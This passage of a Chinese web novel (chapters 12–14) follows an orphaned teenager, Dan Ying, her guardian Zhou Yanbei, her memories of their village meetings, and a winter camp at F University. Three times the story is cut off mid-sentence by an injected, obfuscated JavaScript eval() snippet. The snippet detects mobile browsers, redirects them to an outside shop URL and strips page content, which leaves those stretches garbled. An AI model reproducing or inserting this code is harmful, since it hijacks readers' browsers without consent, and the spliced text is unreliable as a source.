单潆看了看时间,连外套都没顾得上穿,拔腿就往村长家跑。 紧赶慢赶,总算,周燕北的车还没开走。 在少年人清凌凌的目光里,最后一段路,单潆亦步亦缓,慢慢一点点蹭过去。 开口时,她的声音也是轻轻的,像是随时都会被呼啸寒风吹走一样。 “哥哥,你要走了吗?” 周燕北颔首,倏地伸出手,拍了拍她的脑袋,“你好好学习,平常有困难的话,就来找村长爷爷。” “嗯,我会的。” 单潆垂头丧气地应了一声,扁了扁嘴,“哥哥,你还会来吗?” “……” 周燕北没能立刻回答。 他眼中闪过一抹错愕。 转瞬即逝。 没想到,单潆出乎意料的敏感,问完就立马察觉到他的迟疑,赶紧乖乖地开口道:“哥哥,我开玩笑的。村长爷爷说我们这里交通不方便,山路多,开车难,来一趟特别远也特别麻烦,很辛苦的。以后等我长大了,有机会再去看哥哥。” 语毕,小女孩虽难掩失落,依旧冲着周燕北甜甜地笑起来。 “……” 周燕北依旧没作声。 沉吟片刻,他突然转头看向村长家院内。 村长家重修之后,在院子里种了棵梅树。 这个季节,恰好是梅花傲立的霜冬。 小单潆没戴围巾,不甚白皙的脸颊被寒风吹得红通通一片,有点像是枝头绽放的梅花朵儿,单纯又灵动。 不知缘由,周燕北就此莫名心软下来。 于是,他低下头,温声对单潆说:“没关系。等村长爷爷种的梅花开了,我会再来看你。” 12.12 因为周燕北的承诺,对单潆来说,原本最难熬的寒冬,一下子就变得令人期待起来。 昼夜轮转,四季冗长。 她开始日复一日地等候,等待梅花再开,等待与哥哥重逢的那一天。 这次,不再是未知。 再见面这句话,落地而生,变成了一种笃定。 盛夏过去,等天气开始一点点变冷的时候,单潆独自坐在溪边,听着山风吹动树叶的“沙沙”声,忍不住地突然笑起来。 最喜欢冬天了。 她心想。 - 岁聿云暮时节,昼短夜长,时间的流速好似会莫名变快。 没过多久,进入了公历上的新一年。 对于高中生来说,什么节假日都没法大张旗鼓地费功夫庆祝,很容易被老师家长套上“不务正业”的帽子,好一顿批评。 况且,今年寒假早,海实一月就要期末考试。 圣诞节、跨年、元旦……单潆哪儿也没去,学校里的各类活动也没参加,只专心待在家中复习,准备迎接考试,一雪前耻。 周燕北有时候上楼来,会顺便转进书房看她。 见小姑娘那么认真,颇有点“头悬梁锥刺股”的架势,便忍不住笑道:“这么辛苦啊。” 单潆笔尖一顿,条件反射地就抬起头,“哥哥,你忙完了?” 周燕北:“没呢,还有论文要写。” 单潆有些迟疑,“……我占了你的书房,你是不是写论文会不方便?我去房间里背书也可以的。” 很少听他说要写论文。 周燕北就是这样,似乎无论什么事都能解决得游刃有余。 平常要是学校里有事情,在外面就会弄好,不会回到家还忙忙碌碌,展现出自己焦头烂额的模样。 单潆好像还没见过他在家中处理学业和工作呢。 听她这么问,周燕北摇摇头,“不用,一会儿就好了。你好好写作业。” 说完,他朝着单潆摆摆手,转身就要离开。 只不过,在少女盈盈目光中,动作不由自主地一点点迟缓下来,直至顿在原地。 今天,周燕北本来就是特意回来陪单潆的。 庄靳换了个新女友,年纪小,今年才大一。 女孩性格还保留着高中生的青春气,很是热情活泼,活力满满。 硬拉着庄靳一起跨年,过后又玩了一整个通宵的剧本杀,两人这才意犹未尽地分别。 庄靳正在上头期,陷入无脑恋爱状态,理智也跟着暂时下线。 没过几天,就喜滋滋地跑来找周燕北学舌。 “我家宝贝说了,冬天太冷,一个人待着会放大孤独感,但是有人陪着就不一样了,会很容易就感知到幸福。因为有我,她觉得很幸福呢。” 周燕北:“……这是什么歪门邪说?冷就开空调啊。” 他不接茬,庄靳只好冷笑一声,“我不跟你这种没情趣的单身狗资本家说话。” “……” 当时,周燕北压根没把这件事放在心上。 过后才想起来,家里还有个小朋友。 不知道她会不会也有这样的想法。 像单潆这个年纪,正是青春期进行时,或许一点点引子就能诱发叛逆。 再加上她很小就失去父母,又经历了长期寄人篱下的生活,应该很害怕孤独吧。 或许会因此蠢蠢欲动,对向她献殷勤的小男生产生好感。 周燕北对庄靳对他的评价不屑一顾,自认自己不是老古板式的家长,但他也不觉得单潆现在是早恋的好时候。 各种想法叠加,促使他决心多抽空回家去陪陪阿潆。 还好,不出周燕北所料,单潆向来乖巧懂事,忙着念书都来不及,丝毫看不出有什么叛逆期的端倪。 只有此时此刻,在小姑娘的眼神里,他感受到了一点点、非常少的一点点,期待。 周燕北想了想,出声问道:“阿潆,我在这里敲键盘,会影响你吗?” “……” 闻言,单潆一愣。 回过神来后,连忙摇头,“当然不会!” 能和周燕北坐在一起,哪怕是各忙各的,她都觉得高兴还来不及呢。 周燕北:“那就一起吧。” 书房的桌子很大很宽,之前是摆了电脑的,用来玩一些3A大型游戏。 后来给单潆之后,就把主机和屏幕拆走,重新配了轻巧方便的笔记本电脑给她。余下的桌面空间则是放书本和作业。旁边还堆着一些课外书,但依旧还有很大空余。 两个人面对面各坐一边,完全不会互相干扰。 周燕北抬眼就能看到单潆。 她做作业很认真,正低着头,一笔一划地写字。 从这个角度,能看到她微微蹙起的眉头,还有浓密卷翘的睫毛,像两把小刷子,随着眨眼频率,轻轻地一扇一扇着。 目前看来,单潆确实如白云村村长当年所说,是个美人胚子,长大了会很好看。 猝不及防地,周燕北心念一动。 恰好,下一秒,单潆放下笔抬起头。 “哥哥,有件……你有什么事吗?” 怎么这样看着她? 周燕北轻咳一声,避开对方视线,“没有,我在想事情。有什么事,阿潆你说吧。” “哦。” 单潆没多想,只是把自己刚刚突然想到的事情说给周燕北,“就是今年寒假,学校里有个冬令营活动,我有点想去。” 之前,单潆从来没提过这种请求。 一方面,是因为不想让周燕北给她花更多的钱。 另一方面,也是她性格比较内敛,在哪里都显得有点孤僻,不太擅长参加集体活动。 但这回不一样。 这次的冬令营是F大办的,优秀营员能拿到F大的高考加分。 事关招生,必然不可能让每个人都参加。 海实拿到的名额有限,也是按照前面几次的考试排名来分。 如果当中有人弃权,再顺延给下一名。 单潆上次期中考滑铁卢,本来是轮不上的,前面好几个学生没办法去,才依次轮到她身上。 F大是海城最好的高校,全国排名也是TOP3。 周燕北的本科和研究生都在F大,单潆很想考进去当他的学妹,想能和他近一点、更近一点,自然不愿错过这次机会。 “……而且舒黛也去,哥哥,我能不能……” 周燕北大手一挥,“那还用问什么,当然要去。早点报名,别错过了。” 得到允许,单潆立马眯着眼笑起来,声音扬起。 “谢谢哥哥!” …… 冬令营的报名表截止日期在期末考前一周。 单潆拿到周燕北的签字,第一时间把报名表交给班主任。 回到教室时,舒黛正恹恹地趴在桌上。 单潆连忙坐到旁边,轻声问:“黛黛,你怎么了?哪里不舒服吗?” 他们班的座位是学生自由选择。 两个人商量好,去跟班主任说一声,就能坐同桌。 只要不会互相影响学习就行。 单潆一向是老师眼中听话努力的好孩子,乖巧低调,也不惹事,这才顺顺利利和舒黛坐了一年半同桌。 两人的关系也是最铁的。 平时在学校里基本形影不离。 听单潆关心,舒黛呜咽一声,撒娇似的冲她抱怨:“还能怎么,生理期呗。呜,肚子好痛啊,真烦。” 单潆:“怎么突然这么疼了?” 舒黛:“昨天没忍住,吃了三个哈根达斯冷饮。我还以为没事的呢。” “……” 单潆无语凝噎,只好抄起她桌上放着的保温杯,匆匆起身,“我先去给你打点开水来喝。” …… 水房里挤挤攘攘,人声鼎沸。 虽然海实是私立高中,比起公立学校来说,已经算是相对比较轻松,没有那么高压,课外活动也多。 但于高中生而言,但凡需要高考,哪里能真正轻松得下来呢? 更何况,海实还是以高升学率闻名。 下课休息时间珍贵,不少学生都会凑堆,在水房或是操场之类、不会打扰教室其他同学补觉的地方,三三两两地闲聊打闹。 单潆混迹其中,虽然形单影只,倒也没多不适。 她将保温杯放在水箱上,打开水龙头。 除却水流声,耳边还响着各种各样的聊天话题。 “昨天热刺那场球你看了吗?” “看了看了,那个点球,可惜了……” “今年寒假我爸妈打算带我去香港过年,你们有啥要代购的吗?” “昨天物理考试那个压轴题,我第一问都没做出来……” “完了,你今天肯定要被老林批一顿。” “救命啊……” “欸!这儿呢!你刚刚跑哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015933|193287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了,我找你半天了!” “……” 话音落下,倏忽间,单潆想起了一件往事。 关于周燕北之前说的,总是在找她,这句话最初的缘由。 那应该是他第四次去白云村。 那一年,单潆已经在念初中,算起来应该是初一,刚刚开始发育的时候。 她父母早亡,表叔表婶也不管她。 农村相对较为闭塞落后,这种事不能放在嘴上随便说出口,不然要被家长打。故而,关于生理期的概念,只有同班女孩间,模模糊糊的表述,令人似懂非懂。 单潆第一次来月经,就是在一个寒冷的冬天。 她在溪边洗衣服,手指冰冰凉凉快要冻起来的时候,只觉得身下有热流涌出来。 这种感觉实在太过陌生,只叫人手足无措。 等单潆回到家时,裤子已经被血迹弄脏了。 她心里害怕,不知道该如何是好,又不知道能去问谁。 再加上,怕被表叔家两个哥哥发现异样,嘲弄她取乐她,单潆干脆拿着课本一个人跑进了山里,准备等天黑之后再摸黑回去,想办法解决。 没想到,好巧不巧,不过半个小时,山里就开始下起雪来。 风雪交加,天色一下子就暗下来。 单潆坐在树下避雪,背靠着树干,依旧觉得这风吹得哪儿哪儿都不舒服,恨不能整个人瘫软下去,在地上躺平才能好些。 没办法,她只能试图靠背单词来转移注意力。 镇小英语教得晚,学生基础薄弱,但初中里有些孩子基础打得好,差距自然一点点凸显。 要跟上进度,就需要付出更多努力。 单潆是有毅力的,哪怕身体难受,也能咬着牙学习。 渐渐地,也就忘了时间。 不知道过了多久。 陡然间,单潆依稀听到有人在远处喊她的名字。 “阿潆——” “阿潆——” 她侧耳仔细听了会儿,意识到是老村长在喊她,连忙应声:“爷爷!我在这儿!” 话音刚落,不一会儿,一高一矮两个身影慢慢出现在视线里。 单潆眯着眼仔细看了一下,愕然瞪大了眼睛。 “……哥哥!” 今年,周燕北居然来得这么早! 寒假都还没开始,他竟然就已经出现。 单潆立刻跳起来,快步往他们那边跑去,“哥哥!” 人还未至,村长的斥责先到:“阿潆!你太调皮了!这么冷的天让我们好找!” 周燕北的脸色同样不太好,冷着脸问她:“阿潆,下着雪,你怎么一个人跑山里来了?” 他是在下雪前到的村子,知道他和单潆关系最亲,村长早早就去找了她。 找遍整个村,半天都没找见人。 眼见着雪越下越大,周燕北怕小姑娘出什么意外,才跟着老村长一起进山来。 “……” 被周燕北一问,单潆的脸颊“蹭”一下红了,讷讷说不出话,“哥哥,我……” 她无意识地摸了摸小腹。 见状,周燕北起先有些不解。 但没多久,他蓦地领悟过来。 “身体不舒服?” 单潆点点头,声音细弱,“……有点。” 周燕北叹了口气,先从口袋里摸出手机,点了两下,交给单潆,再把自己的外套披到她身上。 继而,转过身蹲下,示意她上来。 “走吧。我背你回去。” …… 在周燕北温暖宽阔的背脊上,单潆从他的手机里,第一次系统性文字性地了解了“月经”的概念。 因为不好意思,她的脸颊依旧还有些烫。 余光里,单潆刚刚才注意到,周燕北戴了一顶黑色冷帽,只在脖领处露出一截发尾。 她没见过他这样的打扮,只觉得看起来又酷又帅的,很有味道。 幸好。周燕北看不到她的注视。 他踏着飞舞的雪花,慢吞吞地问:“冷不冷?还很难受吗?” 单潆趴在他背上,用力摇摇头,“好多了。” “嗯。快到了。” …… 单潆曾经看一本书上说过,血液循环能调节人体体温,产生热量,以抵御寒冷。 血液在人的身体里循环一圈只需要短短几十秒。 但周燕北在她心脏里落下的灰烬,却能作祟十几年。 13.13 「我的一生中只有一个盛大的夏天,那个夏天之后月亮就陨落了。我用以后的每个夏天去临摹那轮月亮,我嫉妒它的仅有,又爱慕它的温柔。」——赫尔曼?黑塞《克林索尔的最后夏天》 - 高二第一次期末考,单潆发挥得不好也不坏,回到了先前水平。 不过和上一次期中考相比,已经有非常显著的提升。 可见这家教到底是没有白请,时间也没有白费,勉强能向自己交代。 舒黛也差不多。 在看到成绩单那一刻,她长长地舒了口气,不禁发出感慨:“这下总算能过个好年了。” 和周燕北不同,舒黛父母可没有那么好说话,且常常对她使用经济制裁这种老土但有效的教育手段,很有点令人闻风色变的意思在。 海城实验是有国际班的,为了摆脱高考压力,舒黛曾经试图说服她爸妈让她进国际班,到时候直接考托福去国外大学。 她英语好,托福会容易一些。 但被父母一口拒绝。 舒黛:“……家里也不是缺留学这点钱,就是我爸当年差两分没考上F大,现在非要我女承父业,帮他了结心愿。单单你说说看,我这水平怎么可能上得了F大呢!都还差着二十来名呢!” 顿了顿,她撇撇嘴,“再说了,不还有我弟呢嘛。他成绩好,让他去考就得了呗。结果这混蛋小子非说自己的目标是京大。气死我了!” 舒黛不是独生子女,还有个双胞胎弟弟,叫舒航,也在海实上学。 不过舒航成绩好,在海实能人辈出的竞赛班里,成绩都名列前茅。 说来,应该也算是世界上最令舒黛抓狂的对照组了。 提起舒航,舒黛一肚子气。 单潆连忙拍拍她肩膀,安慰道:“这次你弟又不去冬令营,别管他啦。” 舒航不打算报F大的强基计划,加分对他来说没用,自是不必浪费时间。 舒黛想了想,煞有其事地点点头,“确实,别提他了,晦气。影响我们放寒假的心情。” “……” 假期时间总是过得飞快。 一转眼,寒假第一周结束。 单潆舒黛他们马上就要准备入营。 这次F大的冬令营一共6天5晚。 学生的吃住和研学活动,全都在F大校园内开展。 作为F大学长,自然是由周燕北开车送单潆过去,义不容辞。 他的车牌可以进学校,但单潆他们的集合点在校门口,干脆就近靠边停下,让她能先去和朋友汇合。 “玩得开心点,要是有什么事就打电话。” 周燕北慢条斯理地嘱咐。 完全就是家长的态度。 “知道了。” 单潆用力点点头,一边低头解安全带,一边随口问道,“哥哥你等会儿有什么事呀?” 先前她想自己来,周燕北说顺路,晚点在学校附近有事,正好能送她。 周燕北:“有个饭局,正好去接上师姐一起,她住这边。” 当然,要是不送单潆的话,一般就会让司机去接人。 “……” 骤然听到赵沛沛的名字,单潆微微一怔。 她很想问点什么,但又不知道该从何问起,觉得自己毫无立场,平白显得可笑,只能讪讪作罢。 周燕北没察觉到单潆的愣神,倏地抬手看了下时间。 而后,当即将车熄火,下车去帮她搬行李箱。 他温声开口道:“时间还早,先把你送到舒黛那边。” “……好,谢谢哥哥。” 两人顺着人行道一路往F大大门方向走。 现在已经开始放寒假,这条路上没几个本校学生,大多数都是来参加冬令营的高中生和家长,拖着箱子背着包,三三两两地交头接耳着。 越靠近门口,周围气氛越是显得热火朝天。 见状,周燕北也低头看了一眼单潆。 她眉头微微蹙起,垂着眸子,似乎一直沉浸在自己的世界里,没能被这种氛围感染。 周燕北问:“阿潆,在想什么?” 单潆回过来神来,连忙摇头,“没什么。……我是在想,哥哥,你为什么叫沛沛姐师姐啊?” ……终于还是问出来了。 语毕,她抿了抿唇。 心中的石头却不由自主地悬空,不敢看向周燕北的眼睛,生怕被他发现什么异样端倪。 周燕北轻笑一声,耐心给她解释:“师姐本科念的也是金融,读研才转学的金融法。她本科和我在一个课题小组,也就是我现在导师的组,算是同一个教授的嫡传师姐吧。” 不过,在去风投公司实习之前,两人未曾见过。 称呼为师姐,从某种意义上来说,是拉近关系、稳固合作的一种手段。 现下,单潆年纪尚小,还不需要懂得太多人情世故。 周燕北想了想,决定等以后遇到事情,再开始一点点潜移默化地教她。 单潆:“哦、哦,原来是这样。” 说话功夫,两人已经抵达填表登记处。 恰好,舒黛也不知道从哪个犄角旮旯里冒出来,重重拍了一下单潆的肩膀,“单单!我来啦!” 单潆连忙转过身,脸颊露出笑意,“黛黛!” 俩闺蜜一见面,舒黛立马叽叽喳喳起来:“老远我在那儿就看见你了,你这外套太好看了,每次看我都要夸夸!” 单潆今天穿的就是那件鹅黄色大衣。 之前她穿去学校,舒黛眼光毒辣,一眼认出品牌和价格,也已经打听到是周燕北送的礼物。 果然,一顿夸奖完,她立马扭头去看周燕北。 “单单哥哥,好久不见!” 周燕北笑吟吟地朝她点点头,“舒黛,好久不见。阿潆这几天就麻烦你关照了。” 舒黛煞有其事地抱拳:“客气客气。” 单潆:“……” 顿了顿,周燕北又低声交代了单潆几句,这才转身离开。 望着他修长挺拔的背影,舒黛忍不住同单潆咬耳朵:“你哥哥真的好帅!” 单潆啼笑皆非,“这句话你也说过好多次了。” 她第一次见到周燕北,就已经偷偷尖叫呐喊过了。 舒黛:“这不是因为太帅了,所以每次见都要感叹一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是,她只能叽里咕噜地抱怨:“单单你看看他,讨厌不讨厌!我真的看到他就烦死了!啊!我们换换好不好,把你哥换给我,把我弟弟换给你。虽然舒航这人讨厌得要死,但是长得还行嘛,毕竟和我很像的,肯定丑不了。你不知道吧,前几天还有女生跑到我们家楼下来,叫他下楼去给他表白!!你说神不神,谁能看上他呀?真是的,那女生估计近视1500度……” 舒黛性格一贯跳脱,聊天话题也是天马行空乱飘,动不动就跑题八万里。 单潆喜欢她这生动的模样。 总觉得心情会跟着舒黛一起变好。 不过,这一回,她在心里悄悄回答了舒黛最初那个问题。 ——“不好。” 在这个世界上,谁都不能换走周燕北。 她最重要的哥哥。 她的月光。 从懵懵懂懂的孩童时期,就开始日复一日地期盼着的、最温暖的冬天。 14.14 集合时间结束前,所有人到齐。 带队老师领着他们去F大安排的空寝室楼。 这次,这些参加冬令营的高中生都会住在这里。 等这个项目结束后,还会给下一批参加F大寒假营的初中生住。 F大是百年名校,市里的老校区已经建成百年,连上一次翻修都是许多年之前。 因而,寝室楼就稍稍有些老旧,条件和设施都一般般。 六人一间,还是上下床。 没有独立卫浴,洗手间一层楼只有一间,要洗澡则要出楼走十分钟去校内澡堂。 室外天气冷,想来都觉得实在麻烦。 幸好,他们也就住个五六天,还能说服自己尽可能克服一下。 寝室安排按学校来分。 单潆和舒黛刚好被分到同一间房。 同寝室另外四个人和她们俩不是同班,但因为同一年级,舒黛又是学校各类活动的活跃分子,认识的人也多,都能叫得出名字。 互相自我介绍后,很快就熟悉起来。 没一会儿,大家各自放好行李,又要赶着时间去参加入营仪式。 冬令营日程安排得并不紧张,第一天主要是仪式和参观校园,傍晚还有个讲座,结束之后就能休息。 舒黛不是第一次参加这种集体研学。 她从小学就开始念私立学校,学校活动多得数不胜数。 别说在海城本地的研学活动,就算是去外地都去了好几次。 纵然如此,舒黛看起来还是相当兴奋,至少比单潆这个来长见识的人兴奋许多,全程拉着她大呼小叫的,“哇哇哇”个没完。 晚上洗漱完,回到寝室,她还在不停惊叹:“这还是我人生中第一次和别人一起洗澡,实在是太有意思了!” 单潆没忍住笑,“哪里有意思了,你不冷吗?” F大学生大部分都已经放寒假,澡堂里人不多。 虽然里面热气蒸腾的,但毕竟面积大,换衣服的时候难免会觉得有些凉飕飕。 听到这话,寝室里另外几个女生也煞有其事地点头,纷纷应和:“确实蛮冷的!” “今天外面都零度了吧?” “还好我有先见之明,套了羽绒服去澡堂,哈哈!” “……” 唯有舒黛拍拍胸口,圆圆脸上满是骄傲的小表情,“没事儿!我不怕冷!” 简单一个话题,便顺利打开了女孩子们之间的关系。 恰好第一天入营没什么事,没上课,也不用学习,正适合趁夜聊点课外话题。 在场除了舒黛之外,还有两个女生也十分开朗活泼。 把学校和各班老师同学分别吐槽一遍后,又说起了当红明星、电影电视剧小说之类的。 单潆本就不擅言辞,外加对这些都没多大研究,只坐在床铺上默默地旁听。 恰好,正此时,手机在枕头上轻轻震动起来。 她瞟了一眼屏幕,看到“哥哥”的备注后,当即拿起来解锁。 是周燕北发来一条微信语音。 “阿潆,今天怎么样?” 他本人不太热衷发消息,据说是因为捧着手机打字有点麻烦,平常更偏爱打电话或是面对面交流,实在不方便的时候就发语音。 甚至,还因此被庄靳嘲笑过好几次,说这就是不谈恋爱的人说出来的话,完全不能体会文字聊天时暧昧涌动的感觉。 不过,单潆倒是很喜欢周燕北这个习惯。 他声音很好听。 她喜欢听他讲话。 而且文字没有情绪,对单潆这种性格敏感的人来说,看人脸色、试图去感知他人的情绪,已经被迫成为了她的生存技能之一,骤然剥夺这种技能,会令人手足无措。 譬如此刻,她能从周燕北的声音里听出来,他心情还不错。 于是,单潆的嘴角也不由自主地噙了笑。 垂着头,飞快地打字回复。 【还不错,挺有意思的~】 【就是食堂好像一般般,没有哥哥说得那么好。】 F大食堂在高校内都是有名的,单这一个校区,就有整整四个食堂,涵盖古今中外各大菜系,价格还非常亲民。周边居民有时候都会来蹭食堂。 像周燕北和庄靳这种有钱人家的少爷,从小家里请厨师请保姆,也几乎都不曾对食堂有多少诟病挑剔。 这般盛名在外,不可避免地,拉高了太多期待值。 周燕北的语音来得很快:“马上过年放假,食堂应该差不多都关了,只开了南区那个吧。那个是不怎么样。” 第二条:“可以点外卖吗?” 单潆:【不行,带队老师管着的,出门都不能随便出。】 周燕北:“那只能忍几天,回家让阿姨给你做大餐。” 下一条,声音里带上了几分戏谑,“我还以为你们的宿舍楼更不好呢。” “……” 单潆抿了抿唇,指尖在屏幕上悬停,思考该如何回。 于她而言,海城的一切都是好得不能更好。 她是从白云村走出来的小孩,父母在世时也是穷人家,父母离世之后更是度过了漫长的、寄人篱下的生活。有饭吃,有衣服保暖,有片瓦遮头,就已经非常幸福。 就算周燕北给了她更多更多,多到从前的自己都难以想象的优越条件,依旧没有将单潆养歪,变得虚荣而不知餍足。 她骨子里还是白云村那个小孩,多一点点都会觉得很好。 目前的生活里,没有任何需要抱怨的地方。 而刚刚对周燕北说起食堂,只是因为,单潆想和他说说话,不想那么快结束话题罢了,并不是她真的打心底觉得食堂不够好吃。 其实已经很不错了。 如果能考上F大,每天吃这个食堂都不会有丝毫怨言的。 单潆忍不住在心里想。 “……单单!你一个人在干嘛呢!快来快来,小白要讲星座了,来听听咱们最近的运势呀!” 舒黛的呼唤声,倏忽间,打破了单潆的沉思。 她匆匆忙忙地“诶”了一声,从上铺探出脑袋,温声应道:“稍等,我回个消息就来。” 顾不上多想,开始马不停蹄地打字,回复周燕北。 单潆:【寝室楼是有点旧。不过其实也还好,里面挺干净的,可以接受。】 单潆:【[猫猫卖萌.gif]】 这会儿,周燕北没有在忙,再次秒回:“没关系,等我们阿潆考上F大,就把我现在住的那套房子给你。那个小区还不错,开车进学校十分钟。到时候你自己去车库挑一辆车开。” 单潆:【……】 单潆:【高考还早呢,先不聊这个!】 能不能考上还是未知数呢,怎么就扯到选车的事了? 不过,为了“当周燕北学妹”这个目标,她确实必须要一直努力。 想要靠近周燕北,千山万水也要翻要趟,勇往无前才可以。 …… 单潆无声地叹口气,默默收起手机,重新回到寝室夜聊活动。 底下,她们已经在讨论星座八字MBTI。 舒黛口中的“小白”,大名叫白思淼,对各类玄学都深有研究。 据白思淼所说,她能在海实引以为傲的竞赛班里苟一年半,各项竞赛都只重在参与,次次考试吊车尾,还能不被踢出去,靠的就是她对八字运势的精湛造诣,改变了她的命数。 舒黛眨了眨眼,表示不解:“啥?就是考前去拜佛祈祷吗?” 白思淼:“喂,你别说得那么土好不好啦!是按照当日星座运势和塔罗指引来复习应考,能事半功倍呢!” “……” 不过,既然出来研学,肯定没法带上她那一套精装塔罗牌。 但没有工具在手,星座特性却还是能分析的。 按照星座,白思淼把在场所有人的性格和理想型给推理了一遍,并且得到了“好准啊”的连连认可。 轮到单潆时,白思淼问了她的生日,“8月23号?那就是……处女座的最后一天。土象星座,嗯,性格应该是比较腼腆敏感的,经常会给自己很大压力。唔,在感情方面,渴望完美的爱人?” 单潆沉默半晌,终于点头,“准的。” 闻言,舒黛立马笑起来,手脚灵活地一骨碌爬上单潆的床铺,用手肘捅了捅她的手臂,玩味地轻声道:“完美爱人?听起来,单单,你这是有喜欢的人了啊!” 在她笑吟吟的目光中,单潆只觉耳尖发烫,暗自攥紧了手机。 “没有的事。你可别胡说八道啊。” 舒黛了然一点头,“我懂!万一传出去,你又要挨你哥训了呗!他肯定不会允许你这小乖乖在高中里早恋吧?……下次能不能给我现场直播一下,让我看看帅哥骂人是啥样的啊?” 单潆无语凝噎:“……” 几个女孩就这么叽叽喳喳,天马行空地聊到大半夜。 但明天要正式开始上课,没法再继续熬夜,才互相道过晚安,关灯上床。 没过一会儿,寝室里微弱的动响逐渐消弭。 夜深人静。 四下一片静谧。 单潆整个人缩成一团,被子蒙住脑袋,在被窝里将手机屏幕点亮,打开了搜索引擎。 周燕北的生日……她略略想了一下,输入“11月7日星座”作为关键词查询。 仅用半秒钟,页面立刻跳转。 第一行三个大字——【天蝎座】。 底下还有详细说明:【……性格深沉,爱憎分明,不易展现出自己的情绪……喜怒不形于色……具有敏锐的洞察力……(出自百度)】 居然说得还挺准。 确实能和周燕北对得上。 再往下,是星座配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一时之间,难免令人泄气。 不过两人心态还算不错。 就算表现不佳,没能拿到加分,体验过反而刚好能死心。 距离高考还有一年半,按部就班地努力,也不是完全没有机会。 只是,后面几天,寝室里也没了谈天说地的心思,大家有时间都花在研究题目上了。 …… 六天功夫一晃而过。 最后测试结束,舒黛变成了一条死狗的模样。 和单潆相携着离开教室,开始哀嚎:“好难啊好难啊……好累……终于能回家了!这几天真的让我深刻地意识到自己是个普通人,根本学不会!下次再也不来了!” 单潆摸摸她的后背,作为安慰,继而才小声道:“我也学不会。” F大这种TOP名校的加分要是这么好拿,岂不是早就挤破头了? 肯定是给那些天才学生准备的。 要想办法把混进来的普通学生筛选掉。 这样想想,好像顿时也没那么难受了。 两人互相安慰了几句,转回寝室收拾行李,准备快速打包结束,赶紧回家躺平。 另外几人也是差不多的想法。 寝室里兵荒马乱的。 今天周燕北有事,没法自己来接单潆,就让司机开车过来。 刚好也顺便带上舒黛一起走。 舒黛:“太好了!单单,帮我谢谢你的帅哥哥!让我不用这么早就去面对舒航的死人脸!啊啊啊!一想到回家就要看到他,我真想一拳打爆这个地球!” “……” 暮色四合时分。 单潆回到周家别墅。 同司机大叔道过谢,她婉拒了对方要帮忙搬行李箱的客气,独自拎着拉杆上楼。 周燕北不在,这偌大的房子,安静得像是一片荒山。 单潆却早已习惯。 她洗漱了一下,换了衣服,将东西全部整理好,就到了晚饭时间。 跳下最后一格台阶,与此同时,周燕北也恰好推开了门。 他第一眼就看到了蹦蹦跳跳不好好走路的单潆,眉目瞬间柔和下来,“阿潆,到家了?” 单潆立马乖乖站好,应声:“嗯,哥哥,我回来了。” 周燕北没有问她考得如何,只是说:“兔子每天都喂得很好。” “……谢谢哥哥。” 单潆从来没有遇见过这么好的人。 周燕北是第一个。 而“第一”这两个字本身,指代的含义就非比寻常。 不能怪她。